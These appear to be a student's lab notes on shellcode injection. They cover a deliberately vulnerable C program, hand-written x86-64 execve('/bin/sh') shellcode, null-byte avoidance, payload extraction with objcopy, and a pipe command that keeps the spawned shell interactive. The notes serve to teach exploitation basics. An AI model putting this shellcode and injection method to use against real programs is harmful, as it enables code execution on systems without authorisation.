

Shell Coding

NECKER

November 18, 2025

Contents

1	Phase 1: Vulnerability Analysis	2
1.1	Theoretical Principles	2
1.2	Analysis of <code>first_injection.c</code>	2
1.3	Identification of the Stack	2
2	Attack Plan	3
3	Phase 2: Writing the x86-64 Shellcode	3
3.1	The Objective: <code>execve</code>	3
3.2	Problem 1: Absolute Addressing	4
3.3	Solution: RIP-Relative Addressing	4
4	Phase 3: Optimization and Injection	4
4.1	Handling Null Bytes (0x00)	4
4.1.1	Zeroing Out	4
4.1.2	String Terminator (<code>/bin/sh\0</code>) (NOT EXPLAINED)	4
4.2	Payload Preparation	5
4.3	Maintaining Interactivity	5

1 Phase 1: Vulnerability Analysis

1.1 Theoretical Principles

- **Shell Code:** Machine language code injected to modify the behavior of a process.
- **Von Neumann:** The attack is possible because in this architecture memory contains both data and instructions. The CPU executes any address pointed to by RIP.

1.2 Analysis of first_injection.c

The example program presents a critical flaw in the `hello(name, bye2)` call, where the string `name` (controlled by the user) is passed as a function pointer (`bye_func`).

```
1  #include <stdio.h>
2  #include <time.h>
3
4  void bye1() { puts("Goodbye!"); }
5  void bye2() { puts("Farewell!"); }
6
7  void hello(char *name, void (*bye_func)())
8  {
9      printf("Hello, \u%s!\n", name);
10     bye_func();
11 }
12 int main(int argc, char **argv)
13 {
14     char name[1024];
15     gets(name);
16
17     srand(time(0));
18     if (rand() % 2)
19         hello(bye1, name);
20     else
21         hello(name, bye2); // error
22 }
23
```

Listing 1: Excerpt of the vulnerable code

1.3 Identification of the Stack

Using GDB, we verify that the crash address is inside the Stack.

- **Command:** `info proc map`
- **Verification:** The output shows that the address range of the `[stack]` (e.g., `0x7fffffffde000` - `0x7fffffff000`) includes the address to which RIP is jumping (e.g., `0x7fffffffdb30`).
- **Conclusion:** We are attempting to execute data (our input) present in the Stack.

Start Address	End Address	Size	perms	Region Name
...	...	...	...	...
0x7fffffffde000	0x7fffffff000	0x21000	rwxp	[stack]
...	...	...	r - - p	...

Table 1: Example Mapping of the Process Memory

2 Attack Plan

Once the exploit is identified (inside `first_injection.c`, if the random number is divisible by 2, the name is passed as a function pointer to be executed):

1. When the code calls `bye_func()`, the compiler generates an assembly instruction that translates into: "Jump to the address contained in the variable `bye_func`". Therefore, if we place our code inside the `name` variable, the hello function will jump execution to the address of the first instruction of our inserted code. WARNING: the data contained in `name` is not written immediately below the pointer of the instruction currently executing (that resides in the code section of the stack), it is placed into the Stack.
2. Create the shellcode to insert.
3. Solve the static address problem of `"/bin/sh"` (we do not know where the shellcode will be loaded).
4. Prevent the termination of reading in string copying caused by 0 (termination byte).
5. Preparation of the payload into an executable format.
6. Prevent the immediate closure of the shell.

3 Phase 2: Writing the x86-64 Shellcode

3.1 The Objective: `execve`

The standard shellcode executes the system call (syscall) `execve` to launch the shell `/bin/sh`.

- **Syscall Number:** Contained in the register `RAX` = 59 for `execve`.
- **Arguments (`RDI` (*filename), `RSI` (argv), `RDX` (envp)):** Must be set correctly for the call, meaning all to zero except `RDI`, which must hold the address of the string to execute in the syscall (executing that file, which in this case is just the string that opens the bash shell).

```
1
2  .intel_syntax noprefix
3
4  global _start
5  section .text
6
7  _start:
8  mov     rax, 59
9  lea     rdi, [binsh]
10 mov     rsi, 0
11 mov     rdx, 0
12 syscall
13
14 binsh:
15 .string "/bin/sh"
16
```

3.2 Problem 1: Absolute Addressing

If we use `LEA RDI, [binsh]`, the assembler generates a fixed address (e.g., `0x40101f`). This fails because:

- The code is injected into the Stack at a random address (ASLR).
- The address `0x40101f` is not valid in that context, causing an `EFAULT`.

3.3 Solution: RIP-Relative Addressing

We use RIP as an anchor to calculate the address of the string `/bin/sh` in a **Position-Independent (PIC)** manner.

```
1 ; Calculates the distance between the next instruction (RIP) and the '
  binsh' label
2 lea rdi, [rip + binsh]
3
```

Listing 2: PIC Addressing

- **Why does RIP point to the next instruction?** It is the CPU convention. The assembler calculates the offset `N` (e.g., `0x10`) so that $\mathbf{RIP}_{\text{new}} + N$ points exactly to the string, regardless of where the payload is located.

4 Phase 3: Optimization and Injection

4.1 Handling Null Bytes (0x00)

This is the main issue with input filters like `strcpy`, which truncate the copy operation at the first `0x00`.

4.1.1 Zeroing Out

- **WRONG:** `MOV RDX, 0` generates a long bytecode (e.g., 7 bytes) containing **four** `0x00` bytes (the zero value).
- **CORRECT:** `XOR RDX, RDX` generates a short bytecode (e.g., 3 bytes) **without any** `0x00` bytes.

4.1.2 String Terminator (`/bin/sh\0`) (NOT EXPLAINED)

- **Problem:** The string `/bin/sh` must terminate with `0x00` for the syscall, but this byte must not be present in the injected payload.
- **Solution (Dynamic Addition):** The payload is injected **without** the `0x00`. Once the shellcode is running in the Stack, it appends the null terminator in memory:

```
1 ; Assuming RDI points to /bin/sh (7 characters)
2 mov byte ptr [rdi + 7], 0x00
3
```

Listing 3: Dynamic addition of `0x00` in memory

Alternatively, utilizing the stack to obtain the `0x00` in a **null-byte free** manner:

```
1      xor rax, rax      ; RAX = 0 (without 0x00 in the bytecode)
2      push rax          ; Pushes 8 bytes of 0x00 onto the Stack
3
```

4.2 Payload Preparation

To obtain the pure binary payload for injection:

1. **Assembly Compilation:** `gcc -nostdlib -static -o <out> <source>`
2. **Extracting the .text Section:** The ELF file contains headers and useless metadata that would cause a crash. We must extract only the raw code section.

```
1      objcopy --dump-section .text=<output_file> <executable>
2
```

Listing 4: Extraction Command

4.3 Maintaining Interactivity

To prevent the injected shell from closing immediately (since its stdin terminates with the file execution), the following command is used:

```
1      cat shellcode.txt - | ./vulnerable_program
2
```

Listing 5: Interactivity with Pipes

- **Function of -:** The hyphen instructs `cat` not to close the pipe after reading the `shellcode.txt` file, but to wait for additional keyboard input from the user, acting as a bridge for commands to the injected shell.